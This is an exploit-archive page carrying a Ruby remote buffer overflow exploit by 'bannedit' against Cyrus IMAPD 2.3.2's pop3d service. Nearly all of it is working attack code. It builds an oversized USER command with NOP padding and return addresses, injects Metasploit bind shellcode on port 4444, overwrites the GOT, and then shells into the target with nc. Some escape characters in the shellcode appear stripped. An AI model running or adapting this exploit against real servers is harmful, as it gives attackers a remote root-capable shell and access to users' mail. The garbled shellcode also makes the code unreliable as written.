[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Cyrus IMAPD 2.3.2 (pop3d) Remote Buffer Overflow Exploit (2)
# Published : 2006-07-21
# Author : bannedit
# Previous Title : Apache Tomcat < 5.5.17 Remote Directory Listing Vulnerability
# Next Title : MS Internet Explorer 7 Popup Address Bar Spoofing Weakness


#!/usr/bin/ruby
#
# cyrus-imapd pop3d exploit
# by bannedit
#
# 05/23/2006
#	This exploit takes advantage of a stack based overflow.
#	Once the stack corruption has occured it is possible
#	to overwrite a pointer which is later used for a memcpy
#	this gives us a write anything anywhere condition similar
#	to a format string vulnerability.
#	
#	I choose to overwrite the GOT table with my shellcode and
#	return to it. This defeats the VA random patch and possibly
#	other stack protection features.
#
#	tested on gentoo-sources linux 2.6.16



require 'socket'

#will add targets for other linux distros
targets = { 'linux 2.6' => '0x080fd318', 'linux 2.6 Hardened' => '', 'freebsd' => '' }


#metasploit bind shellcode by skape 84 bytes port 4444#

shellcode = 
"x31xdbx53x43x53x6ax02x6ax66x58x99x89xe1xcdx80x96"+
"x43x52x66x68x11x5cx66x53x89xe1x6ax66x58x50x51x56"+
"x89xe1xcdx80xb0x66xd1xe3xcdx80x52x52x56x43x89xe1"+
"xb0x66xcdx80x93x6ax02x59xb0x3fxcdx80x49x79xf9xb0"+
"x0bx52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53"+
"x89xe1xcdx80"


puts "--[cyrus imapd pop3 popsubfolders exploit"
puts "----[by bannedit"
puts "-----------------------------------------"

case ARGV.length 

when 0
	puts "--- ./exploit [host] [options]"
	exit

when 1
	sock = TCPSocket.new(ARGV[0], "pop3")

when 2
	sock = TCPSocket.new(ARGV[0], "pop3")
	ret = ARGV[1].hex

end

ret = (targets['linux 2.6'].hex) 

puts "<- " + banner = sock.gets
puts "-> sending USER command"
printf " injecting shellcode: %d bytesn", shellcode.length


#this alignment stuff should probably be cleaned up its kinda icky#

evil_buff = "USER " 
evil_buff <<"x90" * 265 #(290 - shellcode.length)

evil_buff << ([ret].pack('V')) * 2 #return address
evil_buff <<"x90" * (250 - shellcode.length) 
evil_buff << shellcode
evil_buff <<"x90" * (29)
ret = ret - 277
evil_buff << ([ret].pack('V')) * 4 #0x080fd204
evil_buff <<"rn"

sock.send(evil_buff, 0)

sleep 9
puts " attempting to connect to #{ARGV[0]} port 4444"

cmd = "nc #{ARGV[0]} 4444"
system(cmd)

sock.close

# www.Syue.com [2006-07-21]